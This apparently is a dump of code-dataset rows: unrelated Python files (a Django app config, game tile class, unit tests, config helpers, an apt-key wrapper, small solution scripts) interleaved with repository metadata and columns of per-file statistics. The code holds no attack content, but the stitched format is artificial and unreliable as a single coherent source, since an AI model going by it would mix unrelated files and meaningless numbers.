no_options_pattern def t_name_to_flan_pattern_name(t_name: str) -> str: """Converts `t_name` to flan `PATTERN` key. Some seqio tasks use the same flan patterns. Args: t_name: Task config name. Returns: a key for `PATTERNS`. """ if 'para_crawl' in t_name: return 'para_crawl' elif 'wmt16_translate' in t_name: return 'wmt16_translate' elif t_name in {'arc_challenge', 'arc_easy'}: return 'arc' elif t_name in {'anli_r1', 'anli_r2', 'anli_r3'}: return 'anli' elif t_name in {'mnli_matched', 'mnli_mismatched'}: return 'mnli' return t_name def get_eval_dir_basename(task: str, split: str) -> str: """Returns the basename for eval directory. Args: task: a seqio eval task name. split: split name. """ return f'eval_{task}_{split}'
28.687204
78
0.710392
854
6,053
4.845433
0.202576
0.081199
0.042533
0.029
0.494683
0.459884
0.455534
0.439343
0.39101
0.39101
0
0.005939
0.165538
6,053
210
79
28.82381
0.813304
0.25095
0
0.495652
0
0
0.147838
0.09305
0
0
0
0
0
1
0.243478
false
0
0.043478
0.121739
0.626087
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
bfa6da22bbda0fdc65cbd4350ec90812de0120b3
1,302
py
Python
Level_Routines/Level_Features/DoorTile.py
sidav/ShadowPriest
0ab3f9e4dde03237dff7389d0654112f1d1994e9
[ "MIT" ]
1
2017-12-12T15:34:54.000Z
2017-12-12T15:34:54.000Z
Level_Routines/Level_Features/DoorTile.py
sidav/ShadowPriest
0ab3f9e4dde03237dff7389d0654112f1d1994e9
[ "MIT" ]
null
null
null
Level_Routines/Level_Features/DoorTile.py
sidav/ShadowPriest
0ab3f9e4dde03237dff7389d0654112f1d1994e9
[ "MIT" ]
null
null
null
from .LevelTile import LevelTile from GLOBAL_DATA import Level_Tile_Data as LTD from ..Minigames.Lockpick import Lockpick class DoorTile(LevelTile): _closed = True _lock_level = 0 _lockpicking_minigame = None def __init__(self, appearance, lock_level=0): super().__init__(appearance) if appearance == LTD._OPDOOR_CODE: self._closed = False elif appearance == LTD._CLDOOR_CODE: self._closed = True self._lock_level = lock_level if lock_level == 1: self._lockpicking_minigame = Lockpick(3, 3) elif lock_level == 2: self._lockpicking_minigame = Lockpick(4, 3) def get_tile_char(self): if self._closed: return '+' else: return '\\' def get_lockpicking_minigame(self): return self._lockpicking_minigame def get_color(self): return LTD.door_lock_level_colors[self._lock_level] def set_closed(self, closed=True): self._closed = closed if self._lockpicking_minigame is not None: self._lockpicking_minigame.reset_state() def get_closed(self): return self._closed def get_passable(self): return not self._closed def get_opaque(self): return self._closed
27.125
59
0.644393
156
1,302
5.00641
0.314103
0.09219
0.147247
0.046095
0
0
0
0
0
0
0
0.00852
0.278802
1,302
47
60
27.702128
0.823216
0
0
0.054054
0
0
0.002304
0
0
0
0
0
0
1
0.216216
false
0.027027
0.081081
0.135135
0.594595
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
bfb5cf1065f4d34d9786e15b3858c33c94957d3f
95
py
Python
fabricanno/apps.py
viswanath-puttagunta/dannotationpractice
219583f4e0b7669883a90c104ae2ba66a08ccc70
[ "Apache-2.0" ]
null
null
null
fabricanno/apps.py
viswanath-puttagunta/dannotationpractice
219583f4e0b7669883a90c104ae2ba66a08ccc70
[ "Apache-2.0" ]
null
null
null
fabricanno/apps.py
viswanath-puttagunta/dannotationpractice
219583f4e0b7669883a90c104ae2ba66a08ccc70
[ "Apache-2.0" ]
null
null
null
from django.apps import AppConfig class FabricannoConfig(AppConfig): name = 'fabricanno'
15.833333
34
0.768421
10
95
7.3
0.9
0
0
0
0
0
0
0
0
0
0
0
0.157895
95
5
35
19
0.9125
0
0
0
0
0
0.105263
0
0
0
0
0
0
1
0
false
0
0.333333
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
bfc079da68a7ddc8c35d620f43e50c1aea24ce9c
391
py
Python
ansible/playbooks/roles/repository/files/download-requirements/src/command/apt_key.py
cicharka/epiphany
8f7ac8916ba32919629c792cc7bdb9156d4295d7
[ "Apache-2.0" ]
2
2019-02-12T14:02:33.000Z
2019-07-16T08:44:24.000Z
ansible/playbooks/roles/repository/files/download-requirements/src/command/apt_key.py
cicharka/epiphany
8f7ac8916ba32919629c792cc7bdb9156d4295d7
[ "Apache-2.0" ]
null
null
null
ansible/playbooks/roles/repository/files/download-requirements/src/command/apt_key.py
cicharka/epiphany
8f7ac8916ba32919629c792cc7bdb9156d4295d7
[ "Apache-2.0" ]
null
null
null
from pathlib import Path from src.command.command import Command class AptKey(Command): """ Interface for `apt-key` tool. """ def __init__(self, retries: int): super().__init__('apt-key', retries) def add(self, key: Path): """ Interface for `apt-key add` :key: key as file to be added """ self.run(['add', str(key)])
18.619048
44
0.565217
50
391
4.26
0.54
0.084507
0.140845
0.169014
0
0
0
0
0
0
0
0
0.294118
391
20
45
19.55
0.771739
0.225064
0
0
0
0
0.039063
0
0
0
0
0
0
1
0.285714
false
0
0.285714
0
0.714286
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
3
bfc2433fca7313d3d8e3a6878058182ab4e11474
1,832
py
Python
dfs/test/nfl/test_positions.py
sullivanja92/dfs-lineup-optimizer
fea6b9bd76c806f7888fae44d7d113d54e3b4f4d
[ "MIT" ]
null
null
null
dfs/test/nfl/test_positions.py
sullivanja92/dfs-lineup-optimizer
fea6b9bd76c806f7888fae44d7d113d54e3b4f4d
[ "MIT" ]
null
null
null
dfs/test/nfl/test_positions.py
sullivanja92/dfs-lineup-optimizer
fea6b9bd76c806f7888fae44d7d113d54e3b4f4d
[ "MIT" ]
null
null
null
import unittest from dfs.nfl.positions import normalize_position, QB, RB, WR, TE, DST class TestPositions(unittest.TestCase): def test_normalize_position(self): self.assertEqual(QB, normalize_position('QB')) self.assertEqual(RB, normalize_position('RB')) self.assertEqual(WR, normalize_position('WR')) self.assertEqual(TE, normalize_position('TE')) self.assertEqual(DST, normalize_position('DST')) def test_normalize_position_with_periods(self): self.assertEqual(QB, normalize_position('Q.B.')) self.assertEqual(RB, normalize_position('R.B.')) self.assertEqual(WR, normalize_position('W.R.')) self.assertEqual(TE, normalize_position('T.E.')) self.assertEqual(DST, normalize_position('D')) def test_normalize_position_full(self): self.assertEqual(QB, normalize_position('Quarterback')) self.assertEqual(RB, normalize_position('Running back')) self.assertEqual(WR, normalize_position('Wide receiver')) self.assertEqual(TE, normalize_position('Tight end')) self.assertEqual(DST, normalize_position('Defense')) def test_normalize_position_none(self): self.assertIsNone(normalize_position(None)) def test_normalize_position_blank(self): self.assertIsNone(normalize_position('')) def test_normalize_position_slash(self): self.assertEqual(DST, normalize_position('D/ST')) def test_normalize_position_with_underscores(self): self.assertEqual(QB, normalize_position('quarter_back')) self.assertEqual(RB, normalize_position('running_back')) self.assertEqual(WR, normalize_position('wide_receiver')) self.assertEqual(TE, normalize_position('tight_end')) self.assertEqual(DST, normalize_position('defense_special_teams'))
41.636364
74
0.717795
210
1,832
6.014286
0.22381
0.41726
0.088678
0.133017
0.746635
0.454473
0.277118
0.277118
0.277118
0.277118
0
0
0.161572
1,832
43
75
42.604651
0.822266
0
0
0
0
0
0.082424
0.011463
0
0
0
0
0.69697
1
0.212121
false
0
0.060606
0
0.30303
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
1
0
0
0
0
0
0
0
3
bfc3c593ff89638272443b21397f79ca82cf0a48
718
py
Python
src/glod/db/parish_list/parishioner.py
gordon-elliott/glod
a381e21455d05d9c005942a3dee4ac67e10f366a
[ "MIT" ]
null
null
null
src/glod/db/parish_list/parishioner.py
gordon-elliott/glod
a381e21455d05d9c005942a3dee4ac67e10f366a
[ "MIT" ]
1
2021-03-10T16:48:34.000Z
2021-03-10T16:48:34.000Z
src/glod/db/parish_list/parishioner.py
gordon-elliott/glod
a381e21455d05d9c005942a3dee4ac67e10f366a
[ "MIT" ]
null
null
null
__copyright__ = 'Copyright(c) Gordon Elliott 2017' """ """ from a_tuin.db import TableMap, PagedQuery, InstanceQuery from glod.model.parish_list.parishioner import Parishioner, ParishionerCollection from glod.db.db_column_type_map import DB_COLUMN_TYPE_MAP from glod.db.constants import SCHEMA_NAME TableMap(Parishioner, SCHEMA_NAME, 'parishioner', DB_COLUMN_TYPE_MAP) # TODO enforce unique constraint on refernece no class ParishionerInstanceQuery(InstanceQuery): def __init__(self, session): super().__init__(Parishioner, ParishionerCollection, session) class ParishionerQuery(PagedQuery): def __init__(self, session): super().__init__(Parishioner, ParishionerCollection, session)
27.615385
81
0.793872
82
718
6.54878
0.487805
0.044693
0.067039
0.083799
0.24581
0.24581
0.24581
0.24581
0.24581
0
0
0.006369
0.125348
718
25
82
28.72
0.848726
0.064067
0
0.333333
0
0
0.064955
0
0
0
0
0.04
0
1
0.166667
false
0
0.333333
0
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
1
0
1
0
0
3
bfcf750bf2785be9037308ac95ef4ce001f2d272
157
py
Python
cp-classes/1s2020/contests/contests/26-06/d.py
oleonardolima/problem-solving
079da5013c1f04e3b6a5c8c42f24cba60f0bc424
[ "MIT" ]
null
null
null
cp-classes/1s2020/contests/contests/26-06/d.py
oleonardolima/problem-solving
079da5013c1f04e3b6a5c8c42f24cba60f0bc424
[ "MIT" ]
null
null
null
cp-classes/1s2020/contests/contests/26-06/d.py
oleonardolima/problem-solving
079da5013c1f04e3b6a5c8c42f24cba60f0bc424
[ "MIT" ]
null
null
null
_input = [int(num) for num in input().split(" ")] river_width = _input[0] max_jump_length = _input[1] stones = [int(stone) for stone in input().split(" ")]
26.166667
53
0.66242
25
157
3.92
0.6
0.142857
0.244898
0
0
0
0
0
0
0
0
0.014925
0.146497
157
5
54
31.4
0.716418
0
0
0
0
0
0.012739
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
44c3f859159067a0c1a3ec962cfcdd4a951103fa
63
py
Python
local_settings.py
aneesahmedpro/rock-paper-scissor-vision
6298b8be6dcd6d8a0d4dd5403fcb733b508edc22
[ "MIT" ]
6
2019-04-11T10:21:07.000Z
2021-02-16T23:51:12.000Z
local_settings.py
aneesahmedpro/rock-paper-scissor-vision
6298b8be6dcd6d8a0d4dd5403fcb733b508edc22
[ "MIT" ]
null
null
null
local_settings.py
aneesahmedpro/rock-paper-scissor-vision
6298b8be6dcd6d8a0d4dd5403fcb733b508edc22
[ "MIT" ]
2
2020-01-12T05:16:39.000Z
2020-03-14T15:54:48.000Z
MODEL_DIR = 'cnn_tf_model' TRAINING_DATA_DIR = 'training_data'
21
35
0.809524
10
63
4.5
0.6
0.533333
0
0
0
0
0
0
0
0
0
0
0.095238
63
2
36
31.5
0.789474
0
0
0
0
0
0.396825
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
780cab46a064858fa3d07c709b5bb2a73cb99b9e
2,180
py
Python
WebContent/WEB-INF/python/qpid/__init__.py
SVADemoAPP/server
ba35190947960c0603d3e642bd4454605686f052
[ "Apache-2.0" ]
17
2016-09-04T03:34:10.000Z
2021-11-09T22:29:30.000Z
WebContent/WEB-INF/python/qpid/__init__.py
SVADemoAPP/server
ba35190947960c0603d3e642bd4454605686f052
[ "Apache-2.0" ]
1
2016-07-11T09:32:41.000Z
2016-07-11T09:32:41.000Z
WebContent/WEB-INF/python/qpid/__init__.py
SVADemoAPP/server
ba35190947960c0603d3e642bd4454605686f052
[ "Apache-2.0" ]
19
2016-07-11T09:23:50.000Z
2021-11-09T22:29:20.000Z
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # import connection class Struct: def __init__(self, type, *args, **kwargs): self.__dict__["type"] = type self.__dict__["_values"] = {} if len(args) > len(self.type.fields): raise TypeError("too many args") for a, f in zip(args, self.type.fields): self.set(f.name, a) for k, a in kwargs.items(): self.set(k, a) def _check(self, attr): field = self.type.fields.byname.get(attr) if field == None: raise AttributeError(attr) return field def exists(self, attr): return self.type.fields.byname.has_key(attr) def has(self, attr): self._check(attr) return self._values.has_key(attr) def set(self, attr, value): self._check(attr) self._values[attr] = value def get(self, attr): field = self._check(attr) return self._values.get(attr, field.default()) def clear(self, attr): self._check(attr) del self._values[attr] def __setattr__(self, attr, value): self.set(attr, value) def __getattr__(self, attr): return self.get(attr) def __delattr__(self, attr): self.clear(attr) def __setitem__(self, attr, value): self.set(attr, value) def __getitem__(self, attr): return self.get(attr) def __delitem__(self, attr): self.clear(attr) def __str__(self): return "%s %s" % (self.type, self._values) def __repr__(self): return str(self)
25.647059
62
0.687156
319
2,180
4.517241
0.37931
0.06662
0.048577
0.037474
0.17696
0.156836
0.083276
0.044414
0
0
0
0.002299
0.201835
2,180
84
63
25.952381
0.825862
0.345872
0
0.195652
0
0
0.020611
0
0
0
0
0
0
1
0.326087
false
0
0.021739
0.108696
0.543478
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
78655b2d4223e5fb24c26fdb408fc88134228796
2,262
py
Python
couplet_composer/runner.py
anttikivi/couplet-composer
0f6aaf894b35ea60d8047c0072ec146d4e1d2a6f
[ "MIT" ]
null
null
null
couplet_composer/runner.py
anttikivi/couplet-composer
0f6aaf894b35ea60d8047c0072ec146d4e1d2a6f
[ "MIT" ]
16
2020-10-29T17:31:47.000Z
2022-03-07T17:01:52.000Z
couplet_composer/runner.py
anttikivi/couplet-composer
0f6aaf894b35ea60d8047c0072ec146d4e1d2a6f
[ "MIT" ]
null
null
null
# Copyright (c) 2020 Antti Kivi # Licensed under the MIT License """A module that contains the class base for the objects that run a run mode of the build script. """ import sys import time from abc import ABC, abstractmethod from argparse import Namespace from .support.build_variant import BuildVariant from .support.cmake_generator import CMakeGenerator from .support.system import System from .util import shell from .build_directory import BuildDirectory from .target import Target from .toolchain import Toolchain class Runner(ABC): """A class for creating callable objects that represent the run mode runners of the build script. Attributes: args (Namespace): A namespace that contains the parsed command line arguments. source_root (str): The current source root. """ def __init__(self, args: Namespace, source_root: str) -> None: """Initializes the runner object. Args: args (Namespace): A namespace that contains the parsed command line arguments. source_root (str): The current source root. """ self.args = args self.source_root = source_root @abstractmethod def __call__(self) -> int: """Runs the run mode of this runner. Returns: An 'int' that is equal to the exit code of the run. """ pass @abstractmethod def clean(self) -> None: """Cleans the directories and files of the runner before building when clean build is run. """ # Two spaces are required at the end of the first line as # the counter uses backspace characters. pass @abstractmethod def caffeinate( self, command: list, env: dict = None, dry_run: bool = None, echo: bool = None ) -> None: """Runs a command during which system sleep is disabled. Args: command (list): The command to call. env (dict): Key-value pairs as the environment variables. dry_run (bool): Whether or not dry run is enabled. echo (bool): Whether or not the command must be printed. """ pass
25.704545
66
0.625553
281
2,262
4.97153
0.427046
0.050107
0.032212
0.022906
0.138869
0.138869
0.138869
0.138869
0.138869
0.138869
0
0.002564
0.310345
2,262
87
67
26
0.892949
0.512378
0
0.2
0
0
0
0
0
0
0
0
0
1
0.133333
false
0.1
0.366667
0
0.533333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
1
0
1
0
0
3
78698c0be7dd5a7f7fca233f729bb2502a444880
391
py
Python
hexa/metrics/decorators.py
qgerome/openhexa-app
8c9377b2ad972121d8e9575f5d52420212b52ed4
[ "MIT" ]
4
2021-07-19T12:53:21.000Z
2022-01-26T17:45:02.000Z
hexa/metrics/decorators.py
qgerome/openhexa-app
8c9377b2ad972121d8e9575f5d52420212b52ed4
[ "MIT" ]
20
2021-05-17T12:27:06.000Z
2022-03-30T11:35:26.000Z
hexa/metrics/decorators.py
qgerome/openhexa-app
8c9377b2ad972121d8e9575f5d52420212b52ed4
[ "MIT" ]
2
2021-09-07T04:19:59.000Z
2022-02-08T15:33:29.000Z
import functools import typing from django.http import HttpRequest def do_not_track(view: typing.Callable) -> typing.Callable: """View decorator to disable tracking""" @functools.wraps(view) def untracked_view(request: HttpRequest, *args, **kwargs): request.META["HEXA_DO_NOT_TRACK"] = "true" return view(request, *args, **kwargs) return untracked_view
23
62
0.70844
48
391
5.625
0.541667
0.037037
0.074074
0
0
0
0
0
0
0
0
0
0.181586
391
16
63
24.4375
0.84375
0.086957
0
0
0
0
0.059829
0
0
0
0
0
0
1
0.222222
false
0
0.333333
0
0.777778
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
0
1
0
0
3
78a6fc5c6d03b2722a0e4e5890f186482b1ddbb7
1,591
py
Python
dags/dop/component/configuration/env.py
bytecodeio/google_data_services_template
08b64972e9899971d5c4f892480aa0c067b53c3b
[ "MIT" ]
63
2021-03-30T12:09:40.000Z
2022-03-04T14:30:11.000Z
dags/dop/component/configuration/env.py
bytecodeio/google_data_services_template
08b64972e9899971d5c4f892480aa0c067b53c3b
[ "MIT" ]
null
null
null
dags/dop/component/configuration/env.py
bytecodeio/google_data_services_template
08b64972e9899971d5c4f892480aa0c067b53c3b
[ "MIT" ]
8
2021-03-30T12:15:55.000Z
2021-08-22T14:25:30.000Z
import os DOP_DBT_USER = "dop-dbt-user" DOP_DOCKER_USER = "dop-docker-user" class EnvConfig: def __init__(self): pass @property def environment(self): return os.environ["DOP_ENVIRONMENT"] @property def project_id(self): return os.environ["DOP_PROJECT_ID"] @property def dag_path(self): return os.path.sep.join( [self.service_project_path, "embedded_dop", "source", "dags"] ) @property def location(self): return os.environ["DOP_LOCATION"] @property def orchestration_path(self): return os.path.sep.join( [self.service_project_path, "embedded_dop", "orchestration"] ) @property def is_sandbox_environment(self): return bool(os.environ.get("DOP_SANDBOX_ENVIRONMENT", False)) @property def service_project_path(self): return os.environ["DOP_SERVICE_PROJECT_PATH"] @property def infra_project_id(self): return os.environ["DOP_INFRA_PROJECT_ID"] @property def gcr_pull_secret_name(self): return os.environ.get("DOP_GCR_PULL_SECRET_NAME", None) @property def dbt_projects_path(self): """ An Alias of service_project_path because it is also the DBT project paths by convention. This may however be changed to have its own environment variable in the future if it is required to differentiate the DBT projects setup from the service project path itself :return: """ return self.service_project_path env_config = EnvConfig()
25.253968
107
0.661848
203
1,591
4.945813
0.344828
0.109562
0.095618
0.113546
0.247012
0.181275
0.181275
0.119522
0.119522
0.119522
0
0
0.250786
1,591
62
108
25.66129
0.842282
0.170333
0
0.292683
0
0
0.16195
0.055818
0
0
0
0
0
1
0.268293
false
0.02439
0.02439
0.219512
0.560976
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
78ae8ea9cab8d6a184ea95204e67f0d0c0e98510
204
py
Python
airbyte-integrations/connectors/destination-amazon-sqs/main.py
OTRI-Unipd/OTRI-airbyte
50eeeb773f75246e86c6e167b0cd7d2dda6efe0d
[ "MIT" ]
2
2022-03-02T13:46:05.000Z
2022-03-05T12:31:28.000Z
airbyte-integrations/connectors/destination-amazon-sqs/main.py
OTRI-Unipd/OTRI-airbyte
50eeeb773f75246e86c6e167b0cd7d2dda6efe0d
[ "MIT" ]
29
2021-10-07T17:20:29.000Z
2021-12-27T13:07:09.000Z
airbyte-integrations/connectors/destination-amazon-sqs/main.py
OTRI-Unipd/OTRI-airbyte
50eeeb773f75246e86c6e167b0cd7d2dda6efe0d
[ "MIT" ]
1
2022-03-11T06:21:24.000Z
2022-03-11T06:21:24.000Z
# # Copyright (c) 2021 Airbyte, Inc., all rights reserved. # import sys from destination_amazon_sqs import DestinationAmazonSqs if __name__ == "__main__": DestinationAmazonSqs().run(sys.argv[1:])
17
56
0.740196
24
204
5.875
0.875
0
0
0
0
0
0
0
0
0
0
0.028736
0.147059
204
11
57
18.545455
0.781609
0.264706
0
0
0
0
0.054795
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
3
78befff59b6201ab9c31c588d184f75fd7a52d86
160
py
Python
Dataset/Leetcode/valid/66/141.py
kkcookies99/UAST
fff81885aa07901786141a71e5600a08d7cb4868
[ "MIT" ]
null
null
null
Dataset/Leetcode/valid/66/141.py
kkcookies99/UAST
fff81885aa07901786141a71e5600a08d7cb4868
[ "MIT" ]
null
null
null
Dataset/Leetcode/valid/66/141.py
kkcookies99/UAST
fff81885aa07901786141a71e5600a08d7cb4868
[ "MIT" ]
null
null
null
class Solution: def XXX(self, digits: List[int]) -> List[int]: return [int(i) for i in (list(str(int(''.join([str(i) for i in digits]) ) + 1 )))]
32
90
0.5625
27
160
3.333333
0.555556
0.155556
0.111111
0.155556
0
0
0
0
0
0
0
0.008065
0.225
160
4
91
40
0.717742
0
0
0
0
0
0
0
0
0
0
0
0
0
null
null
0
0
null
null
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
3
1521b927e9194b1843ccd8ec7464c0143ea54caa
135
py
Python
dnsproxy/__main__.py
amis92/dns-proxy
8c59986526f13fa0ad6d893ebd2dd454028e5e35
[ "MIT" ]
null
null
null
dnsproxy/__main__.py
amis92/dns-proxy
8c59986526f13fa0ad6d893ebd2dd454028e5e35
[ "MIT" ]
null
null
null
dnsproxy/__main__.py
amis92/dns-proxy
8c59986526f13fa0ad6d893ebd2dd454028e5e35
[ "MIT" ]
null
null
null
""" Runs default empty App. """ from . import App from sys import argv if len(argv) > 1: App(argv[1]).run() else: App().run()
13.5
23
0.592593
22
135
3.636364
0.590909
0.175
0
0
0
0
0
0
0
0
0
0.019048
0.222222
135
10
24
13.5
0.742857
0.17037
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
3
155a275cb948459b2b3d669661b7736705ba8621
420
py
Python
zoom_utils/utils.py
farhan/zoom-utils
143b66d94a4fb011a46871bd095da2cc33837361
[ "MIT" ]
null
null
null
zoom_utils/utils.py
farhan/zoom-utils
143b66d94a4fb011a46871bd095da2cc33837361
[ "MIT" ]
null
null
null
zoom_utils/utils.py
farhan/zoom-utils
143b66d94a4fb011a46871bd095da2cc33837361
[ "MIT" ]
null
null
null
import urllib.parse from datetime import timedelta, datetime from zoom_utils.constants import DATE_TIME_FORMAT def get_double_encoded_uuid(uuid): encoded_uuid = urllib.parse.quote(uuid) return urllib.parse.quote(encoded_uuid) def to_date_time(utc_time_difference, date_time_str): date_time = datetime.strptime(date_time_str, DATE_TIME_FORMAT) return date_time + timedelta(hours=utc_time_difference)
28
66
0.814286
62
420
5.16129
0.403226
0.175
0.0875
0.09375
0.11875
0
0
0
0
0
0
0
0.119048
420
14
67
30
0.864865
0
0
0
0
0
0
0
0
0
0
0
0
1
0.222222
false
0
0.333333
0
0.777778
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
0
1
0
0
3
1564c6f472ad5cea715489dd940d3884805d6ad5
498
py
Python
autogl/module/feature/_generators/__init__.py
dedsec-9/AutoGL
487f2b2f798b9b1363ad5dc100fb410b12222e06
[ "MIT" ]
null
null
null
autogl/module/feature/_generators/__init__.py
dedsec-9/AutoGL
487f2b2f798b9b1363ad5dc100fb410b12222e06
[ "MIT" ]
null
null
null
autogl/module/feature/_generators/__init__.py
dedsec-9/AutoGL
487f2b2f798b9b1363ad5dc100fb410b12222e06
[ "MIT" ]
null
null
null
from ._basic import OneHotFeatureGenerator from ._eigen import EigenFeatureGenerator from ._graphlet import GraphletGenerator from ._page_rank import PageRankFeatureGenerator from ._pyg import ( LocalDegreeProfileGenerator, NormalizeFeatures, OneHotDegreeGenerator ) __all__ = [ "OneHotFeatureGenerator", "EigenFeatureGenerator", "GraphletGenerator", "PageRankFeatureGenerator", "LocalDegreeProfileGenerator", "NormalizeFeatures", "OneHotDegreeGenerator" ]
24.9
48
0.783133
31
498
12.258065
0.516129
0.231579
0.342105
0
0
0
0
0
0
0
0
0
0.15261
498
19
49
26.210526
0.900474
0
0
0
0
0
0.299197
0.230924
0
0
0
0
0
1
0
false
0
0.277778
0
0.277778
0
0
0
1
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
1581819f83c792ffc38612879b1efbb88de9dd3a
154
py
Python
PythonExercicios/ex013-reajuste-salarial.py
ArthurAlbuquerquee/exercicios-python-cev
ba64d3a025731aae5e238c7cb469917420b7901e
[ "MIT" ]
null
null
null
PythonExercicios/ex013-reajuste-salarial.py
ArthurAlbuquerquee/exercicios-python-cev
ba64d3a025731aae5e238c7cb469917420b7901e
[ "MIT" ]
null
null
null
PythonExercicios/ex013-reajuste-salarial.py
ArthurAlbuquerquee/exercicios-python-cev
ba64d3a025731aae5e238c7cb469917420b7901e
[ "MIT" ]
null
null
null
salario = float(input('O funcionário recebe: R$ ')) novo = salario * 15 / 100 print(f'Com 15% de aumento o salário vai para R${novo+salario:.2f} reais!')
38.5
75
0.688312
26
154
4.076923
0.769231
0.09434
0.226415
0
0
0
0
0
0
0
0
0.061538
0.155844
154
3
76
51.333333
0.753846
0
0
0
0
0
0.584416
0
0
0
0
0
0
1
0
false
0
0
0
0
0.333333
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
1582010e96035fa3971b64a06f0f07b98052fb6a
218
py
Python
examples/info/urls.py
AnsGoo/djangoMultiTenant
5e4eeffc70edd3a4936d1a0cadbc29388f5673f5
[ "MIT" ]
1
2022-01-26T06:52:36.000Z
2022-01-26T06:52:36.000Z
examples/info/urls.py
AnsGoo/djangoMultiTenant
5e4eeffc70edd3a4936d1a0cadbc29388f5673f5
[ "MIT" ]
null
null
null
examples/info/urls.py
AnsGoo/djangoMultiTenant
5e4eeffc70edd3a4936d1a0cadbc29388f5673f5
[ "MIT" ]
null
null
null
from rest_framework import routers, urlpatterns from .views import UserViewSet from rest_framework.routers import SimpleRouter router = SimpleRouter() router.register('user', UserViewSet) urlpatterns = router.urls
19.818182
47
0.821101
25
218
7.08
0.52
0.090395
0.19209
0
0
0
0
0
0
0
0
0
0.114679
218
11
48
19.818182
0.917098
0
0
0
0
0
0.018265
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
159529787c57357a64329a28ceb6d7b20cb10833
266
py
Python
solutions/insertion_sort_list/__main__.py
ansonmiu0214/dsa-worked-solutions
88801d268b78506edd77e771c29b4c9f4ae0f59a
[ "MIT" ]
null
null
null
solutions/insertion_sort_list/__main__.py
ansonmiu0214/dsa-worked-solutions
88801d268b78506edd77e771c29b4c9f4ae0f59a
[ "MIT" ]
null
null
null
solutions/insertion_sort_list/__main__.py
ansonmiu0214/dsa-worked-solutions
88801d268b78506edd77e771c29b4c9f4ae0f59a
[ "MIT" ]
null
null
null
from .solution import insertionSortList from ..utils import ListNode unsortedList = list(map(int, input().strip().split(','))) sortedList = insertionSortList(ListNode.fromList(unsortedList)) print(f'Unsorted: {unsortedList}') print(f'Sorted: {sortedList.toList()}')
38
63
0.766917
29
266
7.034483
0.689655
0.166667
0.176471
0
0
0
0
0
0
0
0
0
0.071429
266
7
64
38
0.825911
0
0
0
0
0
0.202247
0.078652
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0.333333
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
1595b0a6a3b09d4326ce74337811766c9c7c357f
2,192
py
Python
plugins/microsoft_intune/icon_microsoft_intune/connection/schema.py
lukaszlaszuk/insightconnect-plugins
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
[ "MIT" ]
46
2019-06-05T20:47:58.000Z
2022-03-29T10:18:01.000Z
